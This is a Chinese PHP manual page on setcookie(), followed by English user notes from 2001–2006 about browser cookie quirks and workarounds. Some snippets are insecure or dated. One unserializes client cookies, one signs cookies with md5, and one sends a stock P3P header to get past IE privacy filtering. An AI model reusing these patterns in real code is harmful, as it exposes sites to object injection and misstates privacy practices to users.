  • 可以把 cookie 的名称设置成一个数组，但是数组 cookie 中的每个元素的值将会被单独保存在用户的系统中。考虑使用 explode() 函数用多个名称和值设定一个 cookie。不推荐将 serialize() 用于此目的，因为它可能会导致一个安全漏洞。

在 PHP 3 中，在同一个 PHP 脚本中多次使用 setcookie() 来设置 cookie，将会按照倒序的方式来分别执行，如果想要在插入另外一个 cookie 之前删除一个 cookie，要把插入放到删除之前。自 PHP 4 起，多次调用 setcookie() 则是按照顺序来执行的。

下面一些例子说明了如何发送 cookie：

例子 1. setcookie() 发送例子

$value = 'something from somewhere';

setcookie("TestCookie", $value);
setcookie("TestCookie", $value,time()+3600);  /* expire in 1 hour */
setcookie("TestCookie", $value,time()+3600, "/~rasmus/", ".utoronto.ca", 1);

注意 cookie 中值的部分在发送的时候会被自动用 urlencode 编码并在接收到的时候被自动解码并把值赋给与自己同名的 cookie 变量。如果不想这样并且在使用 PHP 5 的话，可以用 setrawcookie() 来代替。下面这个简单的例子可以得到刚才所设定的 cookie 的值：

<?php
// 输出单独的 cookie
echo $_COOKIE["TestCookie"];
echo $HTTP_COOKIE_VARS["TestCookie"];

// 另一个调试的方法就是输出所有的 cookie
print_r($_COOKIE);
?>

要删除 cookie 需要确保它的失效期是在过去，才能触发浏览器的删除机制。下面的例子说明了如何删除刚才设置的 cookie：

例子 2. setcookie() 删除例子

// 将过期时间设为一小时前
setcookie("TestCookie", "", time() - 3600);
setcookie("TestCookie", "", time() - 3600, "/~rasmus/", ".utoronto.ca", 1);

也可以通过在 cookie 名称中使用数组符号来设定数组 cookie，可以设定多个 cookie 作为数组单元，在脚本提取 cookie 时所有的值都放在一个数组种：

例子 3. setcookie() 中使用数组的例子

<?php
// 设定 cookie
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

// 刷新页面后，显示出来
if (isset($_COOKIE['cookie'])) {
    foreach ($_COOKIE['cookie'] as $name => $value) {
        echo "$name : $value <br />\n";
    }
}
?>

上例将输出：

three : cookiethree
two : cookietwo
one : cookieone

注: 下面的一些 RFC 也具参考价值：RFC 2109 和 RFC 2695。

注意 expire 参数的接受的是 Unix 时间戳，而不是日期格式 Wdy, DD-Mon-YYYY HH:MM:SS GMT，这是因为 PHP 在内部进行了转换。

expire 是与客户端的时间相比较，和服务器时间可能不同。

注: 向 Microsoft Internet Explorer 4 Service Pack 1 不能正确处理设定了 path 的 cookie。

Netscape Communicator 4.05 及 Microsoft Internet Explorer 3.x 不能正确处理没有设定 path 和 time 的 cookie。

参见 header()，setrawcookie() 和本手册中的 cookie 一章。

add a note add a note User Contributed Notes
mrvanes at gmail dot com
06-Jun-2006 10:22
I just discovered that IE6 (6.0.2800.1106 at least) seems to have difficulties accepting cookies when the subdomain part of the URL is longer than 10 characters. This applies to automatic sessionid's as well (that's how I found out). So: Setting a cookie on a site named http://examples.test.com/ will work, doing the same on http://my_examples.test.com will fail (or at least, failed for me).

Tested it by snooping the outgoing traffic from the client: the GET request lacks the COOKIE: header in the last case. A closer inspection revealed that the cookie was never accepted in the first place: when the subdomain is longer than 10 characters, no cookiefile is created in the temporary internet files directory. Temporary cookies (like the PHP sessionid) have the same problem.

Firefox and Konqueror have no problem with this.
gareth at gw126 dot com
05-Jun-2006 10:38
You can use cookies to prevent a browser refresh repeating some action from a form post... (providing the client is cookie enabled!)

//Flag up repeat actions (like credit card transaction, etc)
if(count($_POST)>0) {
   $lastpost= isset($_COOKIE['lastpost']) ? $_COOKIE['lastpost'] : '';
   if($lastpost!=md5(serialize($_POST))) {
       setcookie('lastpost', md5(serialize($_POST)));
       $_POST['_REPEATED']=0;
   } else {
       $_POST['_REPEATED']=1;
   }
}

//At this point, if $_POST['_REPEATED']==1, then  the user
//has hit the refresh button; so don't do any actions that you don't
//want to repeat!

Hope that helps :)

Gareth
31-May-2006 08:37
Hi guys, just want to share a problem I had that was driving me crazy..

My cookies were setting correctly on a top level document, but if I set them inside of another file that was used include() they wouldnt work.. turned out the included file had a whitespace before the first <? php tag at the top.

Check all included files for ANY output to the browser before your set_cookie() command!
Ahmet Antmen ahmetantmen_at_msn_dot_com
19-May-2006 05:05
You can be sure about the cookie files contents weren't changed.

<?php

$Seperator = '--';
$uniqueID = 'Ju?hG&F0yh9?=/6*GVfd-d8u6f86hp';
$Data = 'Ahmet '.md5('123456789');

setcookie('VerifyUser', $Data.$Seperator.md5($Data.$uniqueID));

if ($_COOKIE) {
   $Cut = explode($Seperator, $_COOKIE['VerifyUser']);
   if (md5($Cut[0].$uniqueID) === $Cut[1]) {
       $_COOKIE['VerifyUser'] = $Cut[0];
   } else {
       die('Cookie data is invalid!!!');
   }
}

echo $_COOKIE['VerifyUser'];

?>

Create a unique id for your site and create a hash with md5($Data.$uniqueID). Attacker can understant that it must be re-hash after change cookie content.
But doesn't. Because cannot guess your unique id. Seperate your hash and data with seperator and send that cookie. Control that hash of returned value and your unique id's is same returned hash. Otherwise you have to stop attack. Sorry for my poor english!
matt at mattsoft dot net
05-May-2006 08:47
using time()-1 to delete (expire) a cookie only works if the client's clock is set exact. my testing showed some weird results with my clock set 1 second or so behind the server. 1 day or even just a few seconds ahead of the server's time and the cookie doesn't expire when it's suposed to.

my test:
setcookie('k',$k+1,time()-1);
echo $k;

setting the expire time to 0 makes it a browser session cookie, lasting forever, until the browser is closed. but setting the expire time to 1 is the lowest timestamp possible and is most likely to expire the cookie without any problems.

my fix:
setcookie('k',$k+1,1);
echo $k;

this is my theory. I'm not sure why no one else has thought of this problem or solution, and I'm still testing, but please email me your questions or comments.
Brian
11-Mar-2006 03:56
Firefox is following the real spec and does not decode '+' to space...in fact it further encodes them to '%2B' to store the cookie.  If you read a cookie using javascript and unescape it, all your spaces will be turned to '+'.
To fix this problem, use setrawcookie and rawurlencode:

setrawcookie('cookie_name', rawurlencode($value), time()+60*60*24*365);

The only change is that spaces will be encoded to '%20' instead of '+' and will now decode properly.
php at macros dot org
03-Mar-2006 09:19
I've just been fighting with an issue with setting cookie paths that contain the underscore [_] and dash [-] characters on IIS6.

This issue is a known "feature" that was added to IIS6 to help prevent cross-site scripting vunerabilities (See: http://tinyurl.com/n5hq9).

Basically, when IIS6 is asked to go to a URI that doesn't contain a trailing slash, it will "courtesy redirect" to the URI with a trailing slash, but in doing so will encode underscores and dashes into their ASCII codes (%5F and %2D respectively).

Now, while this normally wouldn't be an issue, when a cookie is set by PHP using a defined path the unencoded version is used for the path. PHP does not know that the path is encoded, as IIS6 decodes it before it's given to the script (I assume).

Example:
URI = http://somedomain.com/some_directory
IIS redirects = http://somedomain.com/some%5Fdirectory/
PHP sees: http://somedomain.com/some_directory/
PHP_SELF: /some_directory/script.php

So, setting the path: path="/some_directory/"
but browser sees: path="/some%5Fdirectory/" which are not equal, so therefore the paths aren't the same and the cookie isn't retrieved.

Normally this wouldn't be an issue: simply don't specify a path & the browser handles it for you; or don't use underscores or dashes in the URI; or specify the URI with the trailing slash. But when used to lock down sessions to a specific directory (which might have those characters) this becomes a big problem (default session path is /).

The solution is to also set a cookie using the session information (name, value & other parameters) for the encoded version of the path, then the same session will be used for either version of the path.

Cameron.
simon at go4 dot com dot au
27-Feb-2006 07:26
For some reason setting a cookie path without a domain does not appear to work, eg.

<?php
setcookie('cookieName', 'cookieValue', time()+3600, '/');
?>

The path remains the default; 'The default value is the current directory that the cookie is being set in'.  So you cannot access the cookie from outside that sub-directory.

However if you set the cookie with a blank domain, eg.

<?php
setcookie('cookieName', 'cookieValue', time()+3600, '/', false);
?>

Then the path override will work and you can access it from any path in the domain using the code in the above example ('/').

NOTE: setting the domain to false will cause it to be filled with the default value.
r dot namakshenas at gmail dot com
06-Feb-2006 04:38
if you are using Dreamweaver 8 and the file encoding is set to UTF and BOM has been selected to define Byte Order, a disturbing "\377" is added to the start of the page which causes failure for cookies, sessions and headers and is not displayed in Dreamweaver. You will need to edit the file again using vi or similar editors and delete "\377". It took me several working hours.
aNtiCHrist
06-Feb-2006 12:32
David Thomas wrote:
>Although I wish it were different, UTF-8 encoded scripts start output at the php tag declaration.

This ist not directly caused by the encoding but by the Byte Order Mark (BOM) which your Editor places in the first byte of your file to make the chosen encoding clear. PHP currently has no special handling for the BOM, so it passes this character to the User-Agent like any other character. You should configure your editor to leave the BOM out and UTF-8 will work fine.
David Thomas
02-Feb-2006 10:49
I spent some time solving this one.

If you save your php script as UTF-8 output will start at line 1  (script tag start) and setcookie() will fail.

If you save the page as ANSI setcookie() will work properly.

I've encountered this problem before.

If anyone gets a "Headers already sent" error, check the encoding of your script page.

Although I wish it were different, UTF-8 encoded scripts start output at the php tag declaration.
simplifiedwebsystems
27-Jan-2006 02:36
I needed to access COOKIE data before the next page load, so here's the solution:

Accessing PHP $_COOKIE value before new page load or page refresh:

<?PHP
//Set the cookie and set the $_COOKIE value
//This works because $_COOKIE is a variable
setcookie('key', 'value', time()+60*60*24*30);
if (!isset($_COOKIE['key'])) {
   $_COOKIE['key'] = 'value';
}

//The $_COOKIE['key'] = 'value' will now be available on this intantiation for immediate use.
?>
useradd at hotmail dot com
14-Dec-2005 09:55
ok, I want to contribute with a simply calculator that uses cookies for saving the results... Sure you'll find so basic.

<?php
   include("xmlvalido.php");
   if(isset($_COOKIE["ACUMULADO"])&&(!isset($_POST["CE"]))){
       $valor = $_COOKIE["ACUMULADO"];
       if($_POST["op"]=="1"){
           $valor_nuevo=$valor+$_POST["dat"];
       }
       if($_POST["op"]=="2"){
           $valor_nuevo=$valor-$_POST["dat"];
           }
       if($_POST["op"]=="3"){
           $valor_nuevo=$valor*$_POST["dat"];
           }
       if($_POST["op"]=="4"){
           $valor_nuevo=$valor/$_POST["dat"];
           }
           setcookie("ACUMULADO",$valor_nuevo);
       echo abre_web("Mi calculadora");
       }else{
           setcookie("ACUMULADO",0);
           $valor_nuevo=0;
           $valor=0;
           echo abre_web("Mi calculadora");
           }
   ?>
    <br/>
   <p> Valor calculado hasta ahora: <?php
   echo $valor_nuevo;?></p>
   <form action="calculadora.php" method="POST">
   <p><input type="radio" name="op" value="1">Sumar</p>
   <p><input type="radio" name="op" value="2">Restar</p>
   <p><input type="radio" name="op" value="3">Multiplicar</p>
   <p><input type="radio" name="op" value="4">Dividir</p>
   <p>Valor: <input type="text" name="dat"></p>
   <input type="submit" value="Calcular" name="Calcular">
   <input type="submit" value="CE" name="CE">
   </form><?php
   echo cierra_web();

?>

Note I've created a file called "funciones.php" that provides my php all the headers for making valid xhtml webs! Here I'm posting it...

...xmlvalido.php

<?php
   function abre_web($titulo)
   {
       $salida=<<<TXT
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sp" lang="sp">
<head>
<title>$titulo</title>
</head>
<body>
<p>
TXT;
   return $salida;
   }
   function cierra_web(){
       $salida=<<<TXT
</p>
</body>
</html>
TXT;
   echo $salida;
   }
   function enlace($texto, $url){
       $salida=<<<TXT
        <a href="$url">$texto</a>
TXT;
   return $salida;
   }
?>
no at spam dot com
11-Dec-2005 05:47
To workaround the header issue with php/IIS I opened the php.ini file and enabled the following option.

; Output buffering allows you to send header lines (including cookies) even
; after you send body content, at the price of slowing PHP's output layer a
; bit.  You can enable output buffering during runtime by calling the output
; buffering functions.  You can also enable output buffering for all files by
; setting this directive to On.  If you wish to limit the size of the buffer
; to a certain size - you can use a maximum number of bytes instead of 'On', as
; a value for this directive (e.g., output_buffering=4096).
output_buffering = On

All cookies work fine now :)
marc at NOSPAM dot grootkoerkamp dot net
14-Oct-2005 03:59
If you want to secure your cookies with the HttpOnly attribute (only supported by IE6. see http://msdn.microsoft.com/workshop/author/dhtml/httponly_cookies.asp ) you could create your own setcookie function by using the following function:
<?php

function mgk_setcookie($sName,$sValue,$iExpire=false,
   $sPath="",$sDomain="",$bSecure=false,$bHttpOnly=true) {
   $sHeader = "Set-Cookie: $sName=$sValue";
   if ($sPath) { // optional
       $sHeader .= "; Path=$sPath";
   }
   if ($iExpire !==false || $iExpire !== 0 ) {
   // 0 check because of php setcookie function which
   // isn't entirely compattible with the rfc.
       $sHeader .= "; Max-Age=$iExpire";
   }
   if ($sPath) { // optional
       $sHeader .= "; Path=$sPath";
   }
   if ($sDomain) { // optional
       $sHeader .= "; Domain=$sDomain";
   }
   if ($bSecure) { // optional
       $sHeader .= "; Secure";
   }
   if ($bHttpOnly) { // IE6 only attribure
       $sHeader .= "; HttpOnly";
   }
   $sHeader .= "; Version=\"1\""; // not sure if i use the right version
   header($sHeader);
}

?>
simon at ruderich dot com
02-Aug-2005 05:21
If you want to delete a session cookie, you can do it with this code:

<?php
  session_start();

  // many code

  $sessionName = session_name();
  $sessionCookie = session_get_cookie_params();

  session_destroy();

  setcookie($sessionName, false, $sessionCookie['lifetime'], $sessionCookie['path'], $sessionCookie['domain'], $sessionCookie['secure']);
 ?>

This works also well if the session cookie params or the session name were changed.
lharkleroad at gmail dot com
19-Jul-2005 06:12
In response to Snupha's note, one way to get the desired result on the server side, and therefore work around the user's local date and time, is to store your session information in a sessions table in your database.

For example:

1. Create a sessions table in your favorite db with a 32 char sessionid column, modifed and created datetime columns, and any other columns that you want to associate with the session such as a userid.

2. In your PHP script, create a variable containing the 32 char unique ID for your session, and store the result in a sessionid cookie that expires at the end of the browser session, and also insert it in a new row in your sessions table.

3. When your scripts check for the existance of the sessionid cookie, if a value is returned, they would check against the sessions table in your database to find the matching ID, updating the modified datetime for that record to keep the session active.  If the server time elapsed since the record was modified exceeds your timeout constraints, you can force the user to reauthenticate and issue them a new session ID if desired.

4. If you require a login to some part of your site, you can also update the session record with the userid to link the session to the user.

I decided to use this method on a recent project where both PHP and ColdFusion needed to access the same datasource for different applications.  The result is a language-independent session in which multiple web servers on the same domain (but potentially different sub-domains) can know when the user has logged in and allow them to continue the session on the other server.  Otherwise, using the sessions built in to PHP and ColdFusion would require separate logins when switching between applications programmed in the two languages.

Going a little further with this, you can then report stats on the sessions table for the average session length by comparing the created and modified columns, or get a session history for a particular user.

I hope this helps a few people.  Have fun!
p dot nowicki at hero dot mac dot edu dot pl
08-Jul-2005 12:03
It takes me some time to solve a problem with PHPSESSID propagation in URL's when --enable-trans-sid is on.
The problem was that even when user has cookies turned on, sometimes PHPSESSID has been shown in URL. I used subdomains on my page to make the URL's more user-friendly.
It turn out that the session cookie was automaticly set to main domain address with "www" (ex. "www.domain.top_domain"), when session.cookie_domain was set to (default value) "no value".
Adding

<?php
ini_set("session.cookie_domain", ".domain.top_domain");
?>

helped, and now when session cookie is set, all URL's are clear from the nasty session id.
Right now it seems to be pretty logical, but sometimes you can easly forget about something like that.
James
23-Jun-2005 01:34
"If you cannot get a cookie to stick when using an expiration date..."

Also the session.cookie_lifetime parameter in php.ini seems to cause the problem. If this value is set to zero, the cookie will always expire when you close the browser even though you specify expiration time in set_cookie().  After setting session.cookie_lifetime to some nonzero value, my cookies stuck. :)
(Apache 1.3.33, PHP 5.0.4)
nahtan at email dot com
11-Jun-2005 07:35
I tried for an hour to figure out how to have a session cookie (one that deletes when the browser is closed) with a path.

If you specify 0 as the expire parameter, the cookie will be a session cookie. eg:

setcookie("test", "value", 0, "/somepath/");
Snupha
08-Jun-2005 04:24
If you cannot get a cookie to stick when using an expiration date - check that local computer's time and time zone!

I spent hours trouble-shooting my code when I realized that the computer time on a client's computer was 7 years into the future which automatically expired the cookie before it could be used! Go figure, I'm going to look now for a work around that I can do on the server-side.
terry at scribendi dot com
08-May-2005 10:07
A few comments have suggested using serialize() to set object or array data into a cookie.  There are a couple of reasons to be carefull with that technique:

Security: If the cookie is human readable, then it is also fairly easy for end users to play around with it.  Wrapping your cookie setting and getting in an encryption routine will prevent tampering, and make sure that your cookies don't make any sense to any client-side exploits or other sites they get sent to thanks to browser bugs.

Bulk: If you serialize even a fairly simple class, then you get a lot of data.  Large cookies will make browser requests fat and slow, and some browsers have a limit on cookie size, so think about what data you really need to persist, and create __sleep() and __wakeup() methods to package the data into the shortest possible form.  You can get better and faster results when you write your own __sleep() and __wakup() to implode() or pack() your data, than by using zlib compress() on the serialized object.
John Hayes
05-May-2005 06:38
If you want your cookie to persist for as long as possible, set expire to 2147483647.

This is 2^31 - 1, or 19 Jan 2038 03:14:07 GMT.
support at duggen dot net
21-Apr-2005 01:21
Addition to "Carl V"s note. Thanks for the note.

Here is a way to delete alle cookies and cookie arrays from your domain.

$cookiesSet = array_keys($_COOKIE);
for ($x = 0; $x < count($cookiesSet); $x++) {
   if (is_array($_COOKIE[$cookiesSet[$x]])) {
       $cookiesSetA = array_keys($_COOKIE[$cookiesSet[$x]]);
       for ($c = 0; $c < count($cookiesSetA); $c++) {
           $aCookie = $cookiesSet[$x].'['.$cookiesSetA[$c].']';
           setcookie($aCookie,"",time()-1);
       }
   }
   setcookie($cookiesSet[$x],"",time()-1);
}
ru at jnana dot de
10-Apr-2005 03:35
To  salagir dot php dot net at public dot salagir dot com

IIRC the underscore is not a valid character for DNS names, only A-Z, 0-9 and '-' are allowed. However most DNS servers won't complain, but you have to be prepared for all kind of errors occuring with a 'my_subdomain' subdomain name. (It might have changed with the new international domain naming conventions such as 'mller.de', though.)
scissorjammer at hotmail dot com
09-Apr-2005 03:18
As per Sijmen Ruwhof's comment:

It's not that the domain requires a dot as much as it requires a fully qualified domain name.  Setting it to false is a valid workaround, as it will default to whatever domain the page is being accessed at.  If a fully qualified domain name is unavailable, consider editing your hosts file on both the client and server to have a common domain name to use for the cookie.
Carl V
08-Apr-2005 11:29
If you want to delete all the cookies set by your domain, you may run the following:

<?php
$cookiesSet = array_keys($_COOKIE);
for ($x=0;$x<count($cookiesSet);$x++) setcookie($cookiesSet[$x],"",time()-1);
?>

Very useful when doing logout scripts and the cookie name may have changed (long story).
salagir dot php dot net at public dot salagir dot com
03-Apr-2005 10:21
I want to share a problem that took me one entire day to solve. This isn't about PHP specifically I guess, but the world *need* to know.
If you try to put a cookie (this also apply for a session through cookie) from a subdomain with and /underscore/, like http://my_subdomain.domain.com/ this *won't work* under IE 6 for some reasons. (No problem with Firefox)
jonathan at jonathanopie dot com
23-Mar-2005 06:00
I've found that when using header("Location: <destination page>") type 302 redirect, that cookie information in the header will be silently dropped if the <destination page> path includes any non-alphanumeric (except the allowed "-" and ".") characters. That had been pointed out above, and is documented with Microsoft as by design...

http://support.microsoft.com/default.aspx?scid=kb;EN-US;316112

...but what is not made clear, is that the rule seems to include file and directory names too!

Also, I've had unpredictable results when the <destination page> filename begins with ANY character other than strictly alphanumeric characters, even the otherwise allowed "-" and "." characters; and/or if the <destination page> is in a different directory.
Alchaemist
15-Mar-2005 07:36
setcookie + header Location + IIS 5 = Trouble

It took me a long time to figure out what was causing a missing cookie in one system while it worked perfectly in another...

See this one: http://support.microsoft.com/kb/q176113/

In short, this WILL NEVER WORK IN IIS 5:
<?php
header("Pragma: no-cache");
header('Location: http://www.example.com/');
setcookie('AA','1',0,'/');
setcookie('BB','2',time() + 24 * 3600,'/');
?>

You will ONLY get the Location Header, everything else will be "cut out" by IIS 5 CGI implementation.

Solutions:
1- Migrate to Apache/IIS6/Whatever
2- Use a Non Parsed Header Script (nph-*.php)
3- Try with header('Refresh: 0; $URL');

I hope this helps somebody not to spend hours knocking his/her head.

Alchaemist
dear_grommet at reverse dot liamtoh dot moc
05-Mar-2005 03:41
When using cookies to store PHP variables with serialize(),
I found that I also needed to use stripslashes().

Here is an example of code that does what the PHP web site
does - remembering your last search options at the top of the
page.

I would initialise my variable $cookie_data to whatever I wanted,
and I use an array, eg:

<?php
// user options held in persistant cookies

$cookie_data['hist_days'] = 15;
$cookie_data['test1'] = "a string test $ ; \" & ";
$cookie_data['test2'] = 0;

$cookie_data_expire = 60 * 60 * 24 * 60;
?>

And then this code, run at the start of the script, after the
session_start(), will store/restore this cookie data...

<?php
  // restore user options

  if (isset($_SESSION['cookie_data']))
  {
   // from session data

   $cookie_data = $_SESSION['cookie_data'];
  }
  else
  {
   // from cookie

   if (isset($_COOKIE['cookie_data']))
   {
     $string = $_COOKIE['cookie_data'];
     $string = stripslashes($string);
     //$string = gzuncompress($string);
     $cookie_data = unserialize($string);
   }
  }
?>

NB. I found that for such a small amount of data, the gzcompress()
made the string bigger.

The idea is that if the $_SESSION data is available, then it takes
precedence, but if not, then it will re-load the last values from a
cookie that was stored (for the last 60 days).

Then you need to get any user changes for any values and copy
them back into the $_SESSION data.
Then set both the $_SESSION and cookie data., eg:

<?php
  // get new user options

  $cookie_data['test2']++;
  $_SESSION['cookie_data'] = $cookie_data;

  // store in cookie

  $string = serialize($cookie_data);
  //$string = gzcompress($string, 9);
  setcookie('cookie_data', $string, time()+$cookie_data_expire, '/');

  // store in session

  $_SESSION['cookie_data'] = $cookie_data;
?>
Danny Lin
20-Feb-2005 12:37
I have XP Home and IE6. I tried the example 3:

<?php
// set the cookies
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

// after the page reloads, print them out
if (isset($_COOKIE['cookie'])) {
   foreach ($_COOKIE['cookie'] as $name => $value) {
       echo "$name : $value <br />\n";
   }
}
?>

And it worked. However, when I added expiration info, it stopped working. Then, I noticed that it might be related to the time() on my server (hosted in Texas). With the debugging code below, I found out I have to add two hours. (You will need to "fresh" the browser to get the cookies set.)

<?
for ($i = 0; $i < 10; $i++) {
   $time[$i] = time();
   setcookie("time_report[$i]",$time[$i], $time[$i]+3600*$i);
}

print_r($_COOKIE);
?>
sikon at gorodok dot net
09-Feb-2005 11:13
The documentation says, 'Consider explode() or serialize() to set one cookie with multiple names and values'. It means implode(), of course, since it is implode() that constructs a string from an array, and explode() splits a string into an array.
Jos Enrique Serrano Expsito
05-Feb-2005 04:36
For listing all the cookies readed in the client machine.- echo sHTTP_COOKIE_VARS();
<?php
   function  sHTTP_COOKIE_VARS() {
     global  $HTTP_COOKIE_VARS; // $HTTP_COOKIE_VARS  is not exist in a function
     $sEcho = '';
     $iCookies = 0;
     ForEach( $HTTP_COOKIE_VARS As $vIndex  => $vValue  ) {
     $iCookies++;
     if( is_array( $vValue ) ) {
       foreach    ( $vValue    as $vIndex2 => $vValue2 ) {
       $sEcho .= '$HTTP_COOKIE_VARS[\'<b>'.$vIndex."</b>']['".$vIndex2.'\'] == "'.
                 $vValue2.'"<br>';
       }
     } else {
       $sEcho .= '$HTTP_COOKIE_VARS[\'<b>'.$vIndex.'</b>\'] == "'.
                 $vValue.'"<br>';
     }
     }
     $sEcho .= $iCookies.' cookies listed.';
     return $sEcho; ///
   }
?>
do not spam M. Kristall at MKP
25-Jan-2005 02:18
The "bug" that prevents cookies from working properly with Windows XP and Internet Explorer 6 seems to be a more strict following of the cookie specifications. This part in particular:

Only hosts within the specified domain can set a cookie for a domain and domains must have at least two (2) or three (3) periods in them to prevent domains of the form: ".com", ".edu", and "va.us". Any domain that fails [sic] within one of the seven special top level domains listed below only require two periods. Any other domain requires at least three. The seven special top level domains are: "COM", "EDU", "NET", "ORG", "GOV", "MIL", and "INT".

localhost should not work. Neither should localhost.localdomain. Though, it may be a bug that 127.0.0.1 does not work, even despit the fact that 127.0.0.1 is not a domain name.
glillibridge at yahoo dot com
09-Jan-2005 03:27
mleer at sp dot nl 19-Dec-2002 02:50 had a very similar problem to my own.

My page is being called from a client url as part of a 100% frame so the url would look correct to the user (reason: PR). My cookies stopped working.

mleer suggested sending the following header:
header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"');

Unfortunately it did not work for me. I found the below header command at http://www.sitepoint.com/article/p3p-cookies-ie6/2

It worked for me.

header('P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"');

Good luck.
Sijmen Ruwhof
03-Jan-2005 04:41
My experience with setting cookies, a must read for every developer that doenst want to spend his time debugging cookies..

- if your're using windows XP with Internet Explorer, having a local webserver running and you're setting a cookie in you script, don't set the domain name! Use false instead. Windows XP in combination with Internet Explorer (with Firefox your cookie will be set successful) will not set a cookie when the domain name points to localhost. Examples:

<?
setcookie('test', 'value', false, '/', 'localhost', 0); // wil not work in WinXP with IE, but will work in WinXP with Firefox
?>

Someone noted already this bug in WinXP + IE, but said that the domainname should have a dot in it. That is totally untrue (i've tried a domainname with a dot in it that points to 127.0.0.1). I think that the problem persist that the domainname may not be pointing to 127.0.0.1 so the solution would be:

<?php
setcookie('test', 'value', false, '/', false, 0); // works
?>

- be sure that the 4th argument (path) always ends with a slash '/'

- be sure that the expire time is false or a timestamp, 0 is not the value for a session cookie (false is the value).

-- Sijmen Ruwhof
christophe at publicityweb dot com
28-Dec-2004 01:46
About the IIS bug (cookies removed in CGI if 302 Redirect)
reported by shrockc (2003-12-23), here's the correct URL.

BUG: Set-Cookie Is Ignored in CGI When Combined With Location
http://support.microsoft.com/kb/q176113/
adam at metrovanlines dot com
24-Mar-2004 07:47
This limitation is mentiones in the <a href=http://wp.netscape.com/newsref/std/cookie_spec.html> Netscape HTTP Cookies Preliminary Specification </a> above but I thought it might save someone some time if it was posted here. (I wasted almost a day about it, Serves me right for not RTFMing ...)

There are limitations on the number of cookies that a client can store at any one time. This is a specification of the minimum number of cookies that a client should be prepared to receive and store.

   * 300 total cookies
   * 4 kilobytes per cookie, where the name and the OPAQUE_STRING combine to form the 4 kilobyte limit.
   * 20 cookies per server or domain. (note that completely specified hosts and domains are treated as separate entities and have a 20 cookie limitation for each, not combined)

Servers should not expect clients to be able to exceed these limits. When the 300 cookie limit or the 20 cookie per server limit is exceeded, clients should delete the least recently used cookie. When a cookie larger than 4 kilobytes is encountered the cookie should be trimmed to fit, but the name should remain intact as long as it is less than 4 kilobytes.
apex at xepa dot nl
25-Nov-2003 10:59
[Editor's note: ... or simply use sessions. You can't be sure that the visitor will use the same IP the next visit. Not even on the next request (thanks to proxy servers)]

Note on setting cookies allowing access to sites:

If you are not using something "personal" from the computer that you are sending the cookie too watch out.  Via javascript it is possible to steal cookies from other users.  Thus allowing the stealer to login to your site as another user that might not have access otherwise.  Try to add something like the user's ip in the cookie and allowing access from that ip only with the stored cookie data.
Jrg Aldinger
01-Oct-2003 07:13
When using your cookies on a webserver that is not on the standard port 80, you should NOT include the :[port] in the "Cookie domain" parameter, since this would not be recognized correctly.
I had the issue working on a project that runs on multiple servers (development, production, etc.). One of the servers is running on a different port (together with other websites that run on the same server but on different ports).
dave at fubra dot com
10-Sep-2003 03:36
There are several characters that dont work correctly if part of the cookie name, I in particular ran into problems using = as part of the cookie name ie/

setcookie('dE4fR=', $foo);

this was as a result of base64_encode() ing a variable to use as the name. The cookie was being set fine but the = is stored as a little square character in the cookie which prevent proper retreival.

The solution for me was to use md5() instead of base64_encode() but any other method which avoids the = sign should also solve the problem
thomas at proton dot mine dot nu
30-Jun-2003 07:07
Browsers like Opera and Mozilla are told to need the full page loaded to accept cookies (that's what bmatzelle at NOSPAM dot yahoo dot com said).
You can use cookies at reloading pages, however after sending out all headers call exit(); to stop the rest of the script, so the actual page content is not sent out.
soreman at abv dot bg
12-Apr-2003 06:26
If you experience problems on Microsoft Information Server (IIS) when setting a cookie via PHP and when PHP is running as a CGI binary it is not setting the cookie. After spending many hours on what the problem is here is what happens:

When you invoke setcookie and redirect to another page you will not have your cookie set, because it seems that IIS doesn't set the cookie unless you actually send some contents to the browser. Therefore if you want to set a cookie and then redirect to another page you will have to do the redirection via JavaScript and/or HTML if you want your script to work on IIS.
neil
21-Jan-2003 04:34
Some versions of IE6, when you drop a non-persistent cookie, handle this incorrectly and instead drop a persistent cookie.

This is not PHP's fault: ) Rather it is a bug in these versions of IE6. I am posting this because people may be programming session IDs and tokens in what they believe to be non-persistent cookies. Specifically, IE6 build 6.0.2800.1106CO (SP1) does this.

IE6, in this case, will make your application insecure. You should notify IE6 users to manually delete their cookies after their session is completed. Will they do this, no. At least you did your part to notify them of the risk.

We found this to be true after an ethical hack which condemned the use of SessionID's in query string, even if the entire session begins, happens, and ends, in https. M$ Proxy Server (here we go with M$ crappy security) writes these session ID's to it's proxy logs. Since Proxy Server is easily comprimised with numerous well known hacks, your sessions can be. I have seen the logs and seen the sessionid's in https.

Unfortunately, these EH fellows are forgetting that most user's systems are less secure and less patched than most ISP's and corporate proxy servers. We are simply moving the vulnerability to the client by using cookies. If it were up to me, I would leave sessionid in query string.

I was proven right in the case with this browser.

thx
Neil
mleer at sp dot nl
20-Dec-2002 06:50
P3P is a good idea. But.
IE 6 features an inadequate definition of third party cookies.
If your site is hosted on server A and your PHP stuff is coming in a framesetting from server B your setcookie-attempts will be blocked when default privacy settings are deployed. Your secondparty-cookie will be regarded as a thirdparty-cookie.

So what you do is not read the P3P-Internet Explorer 6-manual at MS but send a header like

header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"');

before doing the setcookie-thing. This will enable your cookie to survive any IE-6 privacy settings.

You won't do this if you're working for some doubleclick institution, because if you do, you... you...well... you are not a very nice person!
robert at ourwebhome dot com
06-Dec-2001 07:41
Internet Exploer 6 now requires sites that set cookies to have P3P policies.

From the Microsoft page:
"Internet Explorer 6 implements advanced cookie filtering that is based on the Platform for Privacy Preferences (P3P) specification. By default, Internet Explorer 6 blocks third-party cookies that do not have a compact policy (a condensed computer-readable privacy statement) or third-party cookies that have a compact policy which specifies that personally identifiable information is used without your implicit consent. First-party cookies that have a compact policy which specifies that personally identifiable information is used without implicit consent are downgraded (deleted when you close Internet Explorer). First-party cookies that do not have a compact policy are leashed (restricted so that they can only be read in the first-party context)."

See:
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q260971&GSSNB=1

For more about P3P:
http://www.w3.org/P3P/
